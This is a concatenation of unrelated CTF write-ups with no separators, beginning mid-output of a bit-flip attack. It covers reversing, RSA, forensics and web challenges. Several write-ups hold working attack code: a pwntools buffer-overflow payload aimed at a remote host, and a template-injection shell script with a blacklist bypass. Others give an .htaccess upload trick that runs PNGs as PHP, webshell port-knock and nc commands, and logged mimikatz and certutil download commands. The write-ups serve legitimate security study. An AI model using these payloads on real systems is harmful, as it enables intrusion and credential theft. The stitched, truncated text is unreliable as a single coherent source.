b'ASJLFxnaHC6Sb/o+Lg==' [10]SOL: 1001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'3bTo5iXj0W2QBcHQ' [126], M: b'AyJLFxnaHC6Sb/o+Lg==' [86]SOL: 11001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'3bTo5iXj0W2QBcHQ' [126], M: b'ByJLFxnaHC6Sb/o+Lg==' [125]SOL: 11001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'BN206OYl49FtkAXB0A==' [100], M: b'CyJLFxnaHC6Sb/o+Lg==' [1198]SOL: 1011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'BN206OYl49FtkAXB0A==' [100], M: b'GyJLFxnaHC6Sb/o+Lg==' [99]SOL: 1011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'FN206OYl49FtkAXB0A==' [10], M: b'KyJLFxnaHC6Sb/o+Lg==' [238]SOL: 101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'FN206OYl49FtkAXB0A==' [10], M: b'ayJLFxnaHC6Sb/o+Lg==' [11]SOL: 1101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'FN206OYl49FtkAXB0A==' [10], M: b'6yJLFxnaHC6Sb/o+Lg==' [172]SOL: 11101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'FN206OYl49FtkAXB0A==' [10], M: b'AesiSxcZ2hwukm/6Pi4=' [138]SOL: 111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'FN206OYl49FtkAXB0A==' [10], M: b'A+siSxcZ2hwukm/6Pi4=' [9]SOL: 111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'AhTdtOjmJePRbZAFwdA=' [29], M: b'BesiSxcZ2hwukm/6Pi4=' [974]SOL: 10111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'AhTdtOjmJePRbZAFwdA=' [29], M: b'DesiSxcZ2hwukm/6Pi4=' [28]SOL: 10111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'ChTdtOjmJePRbZAFwdA=' [61], M: b'FesiSxcZ2hwukm/6Pi4=' [60]SOL: 10111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'GhTdtOjmJePRbZAFwdA=' [324], M: b'JesiSxcZ2hwukm/6Pi4=' [323]SOL: 10111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'OhTdtOjmJePRbZAFwdA=' [705], M: b'ResiSxcZ2hwukm/6Pi4=' [99]SOL: 100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'OhTdtOjmJePRbZAFwdA=' [705], M: b'xesiSxcZ2hwukm/6Pi4=' [107]SOL: 1100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'OhTdtOjmJePRbZAFwdA=' [705], M: b'AcXrIksXGdocLpJv+j4u' [319]SOL: 11100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'OhTdtOjmJePRbZAFwdA=' [705], M: b'A8XrIksXGdocLpJv+j4u' [704]SOL: 11100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'AjoU3bTo5iXj0W2QBcHQ' [114], M: b'BcXrIksXGdocLpJv+j4u' [113]SOL: 11100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'BjoU3bTo5iXj0W2QBcHQ' [47], M: b'CcXrIksXGdocLpJv+j4u' [762]SOL: 10011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'BjoU3bTo5iXj0W2QBcHQ' [47], M: b'GcXrIksXGdocLpJv+j4u' [46]SOL: 10011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'FjoU3bTo5iXj0W2QBcHQ' [223], M: b'KcXrIksXGdocLpJv+j4u' [222]SOL: 10011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'NjoU3bTo5iXj0W2QBcHQ' [539], M: b'ScXrIksXGdocLpJv+j4u' [538]SOL: 10011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'djoU3bTo5iXj0W2QBcHQ' [201], M: b'icXrIksXGdocLpJv+j4u' [24]SOL: 100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'djoU3bTo5iXj0W2QBcHQ' [201], M: b'AYnF6yJLFxnaHC6Sb/o+Lg==' [200]SOL: 100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'AXY6FN206OYl49FtkAXB0A==' [182], M: b'AonF6yJLFxnaHC6Sb/o+Lg==' [181]SOL: 100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'A3Y6FN206OYl49FtkAXB0A==' [183], M: b'BInF6yJLFxnaHC6Sb/o+Lg==' [263]SOL: 100100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'A3Y6FN206OYl49FtkAXB0A==' [183], M: b'DInF6yJLFxnaHC6Sb/o+Lg==' [182]SOL: 100100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'C3Y6FN206OYl49FtkAXB0A==' [313], M: b'FInF6yJLFxnaHC6Sb/o+Lg==' [312]SOL: 100100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'G3Y6FN206OYl49FtkAXB0A==' [773], M: b'JInF6yJLFxnaHC6Sb/o+Lg==' [19]SOL: 100100100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'G3Y6FN206OYl49FtkAXB0A==' [773], M: b'ZInF6yJLFxnaHC6Sb/o+Lg==' [399]SOL: 1100100100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110N: b'G3Y6FN206OYl49FtkAXB0A==' [773], M: b'5InF6yJLFxnaHC6Sb/o+Lg==' [83]SOL: 11100100100010011100010111101011001000100100101100010111000110011101101000011100001011101001001001101111111110100011111000101110b'\xe4\x89\xc5\xeb"K\x17\x19\xda\x1c.\x92o\xfa>.'bit-flip str:Generated after 43 iterationsb'DrgnS{T1min9_4ttack_f0r_k3y_generation}\n '``` This brings us to the final solution: ```b'DrgnS{T1min9_4ttack_f0r_k3y_generation}\n '```
# Stripped Go (re, 293p, 30 solved) ## Description ```I heard you can't redo what's deleted. Is that true? Flag: ctf{sha256(original_message)}``` In the task we get a [binary](https://github.com/TFNS/writeups/raw/master/2020-12-05-DefCampCTF/stripped/rev_strippedGo_strippedGO.out). ## Task analysis The difficulty in this task comes from the fact that binary is stripped and we can even easily find `main` here.Binary itself just outputs some hexencoded data. Running `strace` and `ltrace` does not give very useful results either. Via strings we can find some AES-GCM references, but not much more. ### Fixing symbols If we look for `reversing go` we find: https://cujo.com/reverse-engineering-go-binaries-with-ghidra/ Apparently it's possible to get back the symbols!We run the https://github.com/ghidraninja/ghidra_scripts/blob/master/golang_renamer.py script and it all becomes clear. ### Getting the message Now we know that main is: ```cvoid main_main_49B140(void) { ulong *puVar1; long in_FS_OFFSET; undefined8 local_80; undefined local_28 [16]; undefined local_18 [16]; puVar1 = (ulong *)(*(long *)(in_FS_OFFSET + 0xfffffff8) + 0x10); if ((undefined *)*puVar1 <= local_28 && local_28 != (undefined *)*puVar1) { fmt_Fprintln_494B80(); fmt_Fprintln_494B80(); runtime_stringtoslicebyte_44B700(); main_EncryptAES_49B340(); runtime_convTstring_40A160(); local_28 = CONCAT88(0x4dd760,0x4a69e0); local_18 = CONCAT88(local_80,0x4a69e0); fmt_Fprintln_494B80(); return; } runtime_morestack_noctxt_461740(); main_main_49B140(); return;}``` So in principal it only really does `main_EncryptAES_49B340`. We could try to understand which strings are used here (go binary stores them all in one large blob), but we can just put a breakpoint instead. We break at `0049b340` where `main_EncryptAES` is and we see: ``` RAX 0x4c0e36 <— 0x6674306e73313067 ('g01sn0tf') RBX 0x20 RCX 0xc000000180 —> 0xc00011e000 —> 0xc00011f000 —> 0xc000120000 —> 0xc000121000 <— ... RDX 0x20*RDI 0xc00011ef18 <— 0x3233736973696874 ('thisis32')``` If we do `x/2s 0x4c0e36` we get ```0x4c0e36: "g01sn0tf0rsk1d1"...0x4c0e45: "egc: unswept sp"...``` So the message we're looking for is `g01sn0tf0rsk1d1e` and flag is: `ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e}`
```from pwn import *nc = remote('cyberyoddha.baycyber.net', 10002)payload = 'A' * 24 + 'B' * 4 + '\x72\x91\x04\x08'nc.sendline(payload)nc.interactive()```![](https://i.ibb.co/wKpG8hs/message-Image-1604086132535.jpg)
# Oligar's Tricky RSA We have access to the following parameters: * **C** - ciphertext* ***e*** - public exponent* ***n*** - modulus ```c = 97938185189891786003246616098659465874822119719049e = 65537n = 196284284267878746604991616360941270430332504451383``` Obviously this challenge is about the **RSA**. In order to get the plaintext message, we need > M = c^*d* mod n --> *d* is the private key We have all the info, except *d*. > *d* = *e* ^-1 mod *λ(n)*, phi or totient *λ(n)* =(p-1) * (q-1) we need to find *p* and *q*. These are prime numbers which make up ***n***. This is the tricky part of the challenge because > ***n*** = *p* * *q* Factorization is a hard problem to solve. In this case to speed things a llitle bit I used the tool [Fatorization Calculator](https://www.alpertron.com.ar/ECM.HTM). The output shows *p* and *q*. Now we can calculate the totient *λ(n)* and have *d* and decrypt the flag. Flag: `nactf{sn3aky_c1ph3r}` [solve.py](https://github.com/s4nkx0k/CTFs/blob/main/NACTF%202020/Oligar's%20Tricky%20RSA/solve.py)
# Red Joker Write-Up ### Presented to you by [Team 0x194](https://0x194.com/writeup/Metasploit%20Community%20CTF%202020/Red_Joker/). Copyright © 2020 Team 0x194. Some Rights Reserved. This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) For attribution, we would appreciate if you also include a link to our [original write-up](https://0x194.com/writeup/Metasploit%20Community%20CTF%202020/Red_Joker/) ----- This challenge can be found on port 9007. Visit the website on port 9007, you can download a corrupted zip file `red_joker.zip`. Since the archive file is corrupted, we cannot open it and unzip normally. Now, let's examine it with a hex editor. Open it and search for the bytes `50 4B 03 04` (in hex), which is the signature for a zip file entry. It is highlighted in red in the following screenshot. ![Screenshot](https://0x194.com/img/write-ups/Metasploit%20Community%20CTF%202020/Red%20Joker/zip_hex.png) OK! Now we've found the file entry for `joker_red.png`. If we look at the header of this entry, we can see that both the compressed file size and the original file size are `1E 02 01 00` (highlighted in blue), which indicates that the file is merely _stored_ in the zip, uncompressed. Now we've located the file entry (thus where data area starts from), and the size of the data area,what's left is very straightforward. ```python>>> hex(0x000015FD + 0x0001021E - 1)'0x1181a'``` We calculate the byte offsets of the data area containing the bytes of the image, and extract it. The offset is from `00 00 15 FD` to `00 01 18 1A`. Here is our flag! Let's calculate its checksum and submit it! ```console$ md5sum red_joker.pngded8965ad103400300b7180b42f55e28 red_joker.png``` ![Red Joker](https://0x194.com/img/write-ups/Metasploit%20Community%20CTF%202020/Red%20Joker/red_joker.png) ### Some Useful Resource - Buchholz, Florian. "The structure of a PKZip file." [users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
# secret-reverse (re, 365p, 20 solved) ## Description ```There is a secret message hidden in this binar. Encoded_message = 46004746409548141804243297904243125193404843946697460795444349 Find the message! Flag format: ctf{sha256(original_message)}``` In the task we get a [binary](https://github.com/TFNS/writeups/raw/master/2020-12-05-DefCampCTF/secret/rev_secret_secret). ## Task analysis Running the binary with strace shows that it's trying to open `messages.txt` and read from it.Once we create this file, for some inputs binary will return long number as result. The code itself looks complex, so we're not going to analyse it much.One useful thing noticed was that after reading from the input file the binary replaces `_` for `x` before running. It seems charset is very limited and it mostly lowercase characters and numbers. ### Linear correlation and prefix matching It's clear that longer input == longer output, but it also becomes clear very quickly that output has a very nice property: see what happens if we send realated inputs. First it seems prefix always gets encrypted the same: ```aaaa -> Encoded: 7444947aabb -> Encoded: 744475aacc -> Encoded: 7444748``` While same pair at different position encrypts differently, but prefix property still holds for longer inputs: ```aaaa -> Encoded: 7444947aaaaaa -> Encoded: 74449479394aaaaaaaa -> Encoded: 74449479394393``` Finally, it seems given pair at given position always encrypts to the same value. ```bbaa -> Encoded: 40474947ccaa -> Encoded: 40464947ddaa -> Encoded: 764947``` ## Solution It is clear that we should be able to brute-force the flag by prefix matching, using 2 characters as input.We simply check `aa, ab, ac, ad,..., ba, bb,...,zz` and try to match the output to the output we have: ```pythonimport codecsimport reimport stringimport subprocess def matched(target, encoded): res = 0 for i in range(len(encoded)): if target[i] == encoded[i]: res += 1 else: return res return res def main(): target = '46004746409548141804243297904243125193404843946697460795444349' known = '' charset = string.ascii_lowercase + string.digits best = 0, '' for i in range(10): for a in charset: for b in charset: test = known + a + b print('testing', test) with codecs.open("message.txt", 'wb') as data_file: data_file.write(test) try: res = subprocess.check_output("./rev_secret_secret.o") except subprocess.CalledProcessError: continue encoded = re.findall("\d+", res) if len(encoded) > 0: score = matched(target, encoded[0]) if score > best[0]: best = score, test print('best', best) known = best[1] main()``` ### Guessing the right flag What we get is not perfect.Apparently this was not very well tested and flag is not unique.We have input which matches the target: `yessiiamxaxcriminallmastermindxbeaware` We know from the beginning that there was replacing of `_` to `x` so we have: `yessiiam_a_criminallmastermind_beaware`. Still not good enough :( But from here we can just guess: `yes_i_am_a_criminal_mastermind_beaware` and it matched the target as well and validated as the flag.What confused us here was `beaware` which is some mix between `be aware` and `beware` and we were trying to somehow `fix` this... Flag: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}`
# Yopass Go (re, 50p, 153 solved) ## Description ```The password is so clear that it is the flag itself. Flag format: CTF{sha256}``` In the task we get a [binary](https://github.com/TFNS/writeups/raw/master/2020-12-05-DefCampCTF/yopass/yopass). ## Solution Not sure what the binary does at all, first sanity check with `strings yopass | grep ctf{` gives: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}`
# 6 of Hearts Write-Up ### Presented to you by [Team 0x194](https://0x194.com/writeup/Metasploit%20Community%20CTF%202020/6_of_Hearts). Copyright © 2020 Team 0x194. Some Rights Reserved. This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) For attribution, we would appreciate if you also include a link to our [original write-up](https://0x194.com/writeup/Metasploit%20Community%20CTF%202020/6_of_Hearts) ----- This challenge is on port `6868` of the target machine. Visit the port, you will find yourself at a website named "Photos5u", which is a gallery presenting pictures of its users. Examine closely the path of the pictures, you can find out that they follows the pattern of `/files/[userID]/[fileID]`, where `userID` is the initial of the author, and `fileID` is an incrementing integer starting from 0. For example, the "Architecture by Barry deVillneuve" picture has the path of `/files/BD/0`. According to all the authors displayed on the homepage, we have at least 3 users: "Barry deVillneuve" with userID `BD`, "Tanya Wallace" `TW`, and "Malcom Cooper" `MC`. Now let's try registering a new user "YECHS YECHS". ![Registering new user](https://0x194.com/img/write-ups/Metasploit%20Community%20CTF%202020/6%20of%20Hearts/new_user.jpg) OK! So it seems like there is another path storing text files `/notes/[userID]/[fileID]`. Let's find out what the known users have posted here. Under `/notes/MC/2`, a note caught our attention. > Weirdest thing happened today. I was in the "Photos5u" main office and there was this woman, I think she was one of the techies, and she was ranting about "Eye Doors" or something to the owner. Apparently, our middle names are a threat to the site?!?!? > > Honestly, with middle names like "Ulysses Denise Donnoly" you'd think she'd be happy about hers being in use. Actually now that I think about it, she's probably embaressed about her intials. So it seems like there is another user with userID `?UDD?`. It won't be too hard to bruteforce and find the userID. At first we thought the middle name initial will be trimmed to a single character, *i.e.* `?U?`, but another experiment with registration proved that we were wrong. While bruteforcing, it's clever to examine the return status code of `/notes/[userID]/0`, since the 0th note is guaranteed to exist for any valid user. With a little bit of Python, we found out that the userID is `BUDDY`, and that our flag is located at `/files/BUDDY/2`. Let's calculate its checksum to submit. ```console$ md5sum 2.jpg628fd217328ae42080d697a65a39d8e1 2.jpg``` ![flag](https://0x194.com/img/write-ups/Metasploit%20Community%20CTF%202020/6%20of%20Hearts/2.jpg)
# http-for-pros (web, 200p, 43 solved) ## Description ```You have all the hints you need... Get the flag! Flag format: CTF{sha256}``` In the task we get a webpage with some search form. ## Task analysis It seems the form either echos our input, or in some cases sends back some WAF-like error that certain character was blacklisted.It took us a while to notice that there is a template injection issue.If we send `{{3*3}}` we get back `9`. ## Template injection Now also the whole blacklist makes sense!We need to bypass the blacklist and get RCE. One of more problematic blocks is `_` and also `__class__`. But there are some tricks we can use, for example we can use `request.args` to access GET parameters, and we can use `[]` instead of `.` so for example `request[request.args.x]` would do `request.__class__` of GET parameter `x=__class__`. It so happens that GET parameters were also subjected to blacklist.But cookies were not! So following the same idea, we can do `request[request.cookies['a']]`, set cookie `a=__class__` and we confirm it works. ### Gadget chain Now we just need some decent gadget chain from `request`.First one we found was `request._get_file_stream.im_func.func_globals['__builtins__']['__import__']`, so we can craft it: ```pythonwhile True: cmd = raw_input("sh> ") params = { "content": "{{request[request.cookies['a']][request.cookies['b']][request.cookies['c']][request.cookies['d']][request.cookies['e']][request.cookies['f']]('subprocess')[request.cookies['g']](request.cookies['h'],shell=True)}}" } cookies = { "a": "__class__", "b": "_get_file_stream", "c": "im_func", "d": "func_globals", "e": "__builtins__", "f": "__import__", "g": "check_output", "h": cmd } r = get("http://35.198.103.37:31612/", params=params, cookies=cookies) print(r.text)``` And we get a nice shell.From this we can just do `ls -la` and then `cat flag` to get: ```sh> ls -latotal 32drwxr-xr-x 1 root root 4096 Dec 1 08:56 .drwxr-xr-x 1 root root 4096 Dec 1 08:56 ..-rw-r--r-- 1 dctf dctf 220 Aug 31 2015 .bash_logout-rw-r--r-- 1 dctf dctf 3771 Aug 31 2015 .bashrc-rw-r--r-- 1 dctf dctf 655 Jul 12 2019 .profile-rwxr-xr-x 1 root root 2699 Dec 1 08:55 app.py-rwxr-xr-x 1 root root 69 Dec 1 08:55 flagdrwxr-xr-x 1 root root 4096 Dec 1 08:55 templates sh> cat flagCTF{75df3454a132fcdd37d94882e343c6a23e961ed70f8dd88195345aa874c63e63}```
# Hunting into the wild (forensics, 972p, 27 solved) ## Description ```We received a report from our colleagues that one of the computers started behaving strangely and our analyst limited the investigation (based on interviews with the employees) for the period 3.12.2020 - 4.12.2020 when he thinks the malicious events were triggered in the network system. Can you please help us learn more about the situation? Q1. Some corrupted employees tried to dump admin passwords, using a popular script among hackers, but we don’t know exactly its name. Can you help us in the investigation? Flag format: CTF{process_name} Q2. For us, it’s very difficult to make the difference between a legit and a malicious command using Windows native tools. Can you please identify what command was used by the attacker when downloading the malware on our system? Flag format: command line used by the attacker Q3. We also know that the attackers used multiple attacking persistent threats & scripts when attacked our systems. Can you please help us determine what is the name of the initial script used for performing the attack? Flag format: CTF{script_name) Q4. Victims to these attacks reported that a new admin account was created on their operating machines. What is the command used by the attacker to activate the new account? Flag format: command line``` In the task we get an archive with ELK stack deployment with some indexed data (not attached). ## Initial setup Unpack, docker-compose up and hope for the best. ## Searching through logs The idea of this task is to query Kibana and find answers to the questions.This is actually a really nice and practical task! ### Q1 We suspect the tool used is `mimikatz` and there is for example `sekurlsa::LogonPasswords` command.Looking for that we find: ```C:\TMP\mim.exe sekurlsa::LogonPasswords > C:\TMP\o.txt``` So the answer is `ctf{mim.exe}` ### Q2 This was the hardest one, because it's very unclear what is `malware` in this context, and at which point.It was clear that there was this `APTSimulator` toolset on the machine, so we guessed we need to figure out where did it come from.Finally we pinpointed: ```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` which passed as flag. ### Q3 If we look for first references to `APTSimulator` we can find: ```C:\Windows\system32\cmd.exe /c """"C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat``` So `ctf{APTSimulator.bat}` ### Q4 We first checked how account can actually be activated on windows via `net user` and the command is `/active:yes` and looking for that gave us: ```net user guest /active:yes``` which validated as last flag.
![](https://i.imgur.com/nEQGpLG.png)# Upload(web) url : http://198.211.100.125:8080/upload.php After every hit-end trial method of uploading php code with different extensions. file Upload successfully with different php extensions (`php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc`) but code not work. may be it is due to the **.htaccess protection**. and this **upload.php** file always **overwrite** the existing file during uploading in directory. so i decided to change the content **under .htaccess**. than i make a **.htaccess** file with configuration. ```AddType application/x-httpd-php .png``` The above configuration would instruct the Apache HTTP Server to execute PNG images as though they were PHP scripts **.htaccess** uploading success(hurray .htaccess file overwrited with our conf)![](https://i.imgur.com/uMZ2t4N.png)![](https://i.imgur.com/d7Xb2qq.png) ----lets upload the php code with .png extension and donot forgot to change content-type in burpsuite while uploading ```Content-Type: application/x-httpd-php``` ![](https://i.imgur.com/O8qUA5D.png)![](https://i.imgur.com/YCCEPmJ.png)![](https://i.imgur.com/gXWMuCT.png) # flag : b00t2root{remote_code_execution_vulnerability}
1. Try to decrypt the ciphertext by using Base64 and Hex with n th times (random), you will get this secret code ```035e44154106060c17181b``` 2. Decrypt the secret code to get the flag ```c = '035e44154106060c17181b'c = [chr(eval('0x' + c[i:i+2])) for i in range(0, len(c) - 1, 2)]x = list('b00t2root{}')flag = ''for i in range(len(c)): flag += chr(ord(c[i]) ^ ord(x[i]))print('b00t2root{' + flag[-1] + flag[:-1] + '}')``` 3. Here is the flag ```b00t2root{fantasticcc}```
# notor (forensics, 372p, 19 solved) ## Description ```How did the attacker gain access to our secure infrastructure? Wink Wink to the attached pcap. Flag format: CTF{sha256} Target: 138.68.93.187:1234``` In the task we get a 270MB pcap file (not attached).We also get a remote endpoint (important, we missed this initially!). ## Task analysis The pcap seems to contain basically a dirbuster run against some target.We suspect the idea is that attacker `found something` and exploited it. ### Export HTTP objects A nice trick we can use here is wireshark's `export HTTP objects`.The idea is that most of the 404 responses from the target will look identical, and we're looking for something that stands out. This way we quickly find a much `bigger` object: [webshell](https://raw.githubusercontent.com/TFNS/writeups/master/2020-12-05-DefCampCTF/notor/shelladsasdadsasd.html.php) ### Follow the attack Now that we have this, we can find the requests to this webshell and follow what attacker used: ```POST /shelladsasdadsasd.html.php?feature=shell HTTP/1.1Host: h:1234Connection: keep-aliveContent-Length: 328User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36DNT: 1Content-Type: application/x-www-form-urlencodedAccept: */*Origin: http://h:1234Referer: http://h:1234/shelladsasdadsasd.html.phpAccept-Encoding: gzip, deflateAccept-Language: ro-RO,ro;q=0.9,en-US;q=0.8,en;q=0.7,it;q=0.6 cmd=telnet%2010.5.0.6%2010001%3Btelnet%2010.5.0.6%2010002%3Btelnet%2010.5.0.6%2010003%3Btelnet%2010.5.0.6%205000%3Btelnet%2010.5.0.6%2010008%3Btelnet%2010.5.0.6%205000%3Btelnet%2010.5.0.6%206000%3Btelnet%2010.5.0.6%2019999%3B%20echo%20'GET%20%2F%20HTTP%2F1.1%5Cr%5Cn%5Cr%5Cn'%20%7C%20nc%2010.5.0.6%205000&cwd=%2Fvar%2Fwww%2FhtmlHTTP/1.1 200 OKDate: Tue, 01 Dec 2020 22:24:24 GMTServer: ApacheContent-Length: 258Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/json {"stdout":["Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","(UNKNOWN) [10.5.0.6] 5000 (?) : Connection refused"],"cwd":"\/var\/www\/html"}POST /shelladsasdadsasd.html.php?feature=shell HTTP/1.1``` While this attempt failed, we can see that there is some `port knocking` using `telnet` and then attacker tries to get something from `http://10.5.0.6:5000` If we look for other responses from this host/port we find: ```GET / HTTP/1.1 HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 69Server: Werkzeug/1.0.1 Python/2.7.12Date: Tue, 01 Dec 2020 22:25:13 GMT``` Length 69 seems like a flag format, but the data are not in the pcap! ## Replay attack Notice that we know the remote endpoint.We can, therefore, access the very same webshell and perform the same attack! The trick is the telnet knocks sent by attacker are not valid.But we can just look at the pcap before the successful attempt, and check which ports were touched: ```10001100021000322445``` So we use the webshell to run: ```telnet 10.5.0.6 10001;telnet 10.5.0.6 10002;telnet 10.5.0.6 10003; telnet 10.5.0.6 22; telnet 10.5.0.6 445; echo 'GET / HTTP/1.1\r\n\r\n' | nc 10.5.0.6 5000``` And get back: ```HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 69Server: Werkzeug/1.0.1 Python/2.7.12Date: Mon, 07 Dec 2020 19:39:58 GMT ctf{4fde84cc72b033f0834f1181c4e1dc77a82a595c3652c8b9d02b28b8e1b62124}```
## BreakMe - 500Description`I encrypted important information and lost my private key! Can you help me to recover the content of the file?` Moreover, we have two files* `encrypted.txt` the encrypted text we have to decrypt* `public.pem` the public key```-----BEGIN PUBLIC KEY-----MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAL5fZwx838wL00ES071xIp/T5EblMb81FgNsElgzb2xRAgMBAAE=-----END PUBLIC KEY-----``` #### SolutionThe goal is to decrypt the encrypted text, that probably contains the flag. The first thing I notice is that the public key is very short, and this could be the vulnerability to exploit. As a first attempt, I suppose that the message was encrypted with the RSA algorithm. As we know the encryption in RSA requires the public key which means `modulus N` and a public exponent `e`. Let’s extract `public.pem` file to find modulus *N* and *e*. ```shell$ openssl rsa -noout -text -inform PEM -in public.pem -pubinRSA Public-Key: (256 bit)Modulus: 00:be:5f:67:0c:7c:df:cc:0b:d3:41:12:d3:bd:71: 22:9f:d3:e4:46:e5:31:bf:35:16:03:6c:12:58:33: 6f:6c:51Exponent: 65537 (0x10001) $ python3 -c 'print(int("00be5f670c7cdfcc0bd34112d3bd71229fd3e446e531bf3516036c1258336f6c51", 16))'86108002918518428671680621078381724386896258624262971787023054651438740237393```This result tell us that:* `N = 86108002918518428671680621078381724386896258624262971787023054651438740237393`* `e = 65537` Now the decryption in RSA requires the private key which means modulus *N* and private exponent `d`. We have *N* as shown above, and we have to calculate *d*, ie compute the inverse modular of *e* and Euler’s totient function `phi`. **phi** is unknown because we need the prime numbers **p** and **q**. Also these prime numbers are unknown and to compute them we have to factorize N, which usually is very hard. But in this case we have a public key of 256 bit (too short) and the modulus *N* is probably factorizable. I try to factorize *N* with this site: www.alpertron.com.ar. It took about 3 minutes to compute the result:* `p = 286748798713412687878508722355577911069`* `q = 300290718931931563784555212798489747397` Now we have all we need to compute the decryption. ```pythonimport gmpyfrom Crypto.Util.number import * N = 86108002918518428671680621078381724386896258624262971787023054651438740237393e = 65537p = 286748798713412687878508722355577911069q = 300290718931931563784555212798489747397phi = (p - 1) * (q - 1)d = gmpy.invert(e, phi) c = open("encrypted.txt", "rb").read()c = c.hex()c = int(c, 16) decrypted = pow(c, d, N) print("[+] N = "+str(N))print("[+] e = "+str(e))print("[+] p = "+str(p))print("[+] q = "+str(q))print("[+] phi = "+str(phi))print("[+] d = "+str(d))print()print("[+] Decrypted ciphertext and Found the message m " + str(decrypted))print("[+] FLAG is ", end=' ')print(long_to_bytes(decrypted))``` This simple script gives us the flag: ```shell$ python3 rsa_attack.py [+] N = 86108002918518428671680621078381724386896258624262971787023054651438740237393[+] e = 65537[+] p = 286748798713412687878508722355577911069[+] q = 300290718931931563784555212798489747397[+] phi = 86108002918518428671680621078381724386309219106617627535359990716284672578928[+] d = 52563235496868154743721179285926106867856121268586368115409795819089744895137 [+] Decrypted ciphertext and Found the message m: 3998731487633352107852441255033768239881091376738602013454220231226719498[+] FLAG is: b'\x02Ca1\xbc\xe8\xad\x165\xe4\xfc\x00AFFCTF{PermRecord}\n'``` * **Flag**: `AFFCTF{PermRecord}`
# pbctf 2020 ## Not-stego > 26>> Hallmark of a good CTF is inclusion of Steganography. You asked and we delivered, or didn't we?>> By: theKidOfArcrania> > [profile.png](profile.png) Tags: _rev_ ## Solve ![](profile.png) Just type in the bytes, and while typing them, notice they are all printable ASCII: ```4865 72 652773 206d79 206c69 6e 6b 3a 20 68 7474 7073 3a2f2f70 6173 7465 62 69 6e2e 63 6f 6d2f6a 365864 39 47 4e4d20 203c 2d2d 20 48 65 6865 68 65 68 65 2120 53 6565 20 69 6620 79 6f75 2063 61 6e20 52 4520 6d 65``` Then: ```bash# cat bytes | xxd -r -pHere's my link: https://pastebin.com/j6Xd9GNM <-- Hehehehe! See if you can RE me # curl https://pastebin.com/raw/j6Xd9GNMHere's a flag for your efforts: pbctf{3nc0d1ng_w1th_ass3mbly}.```
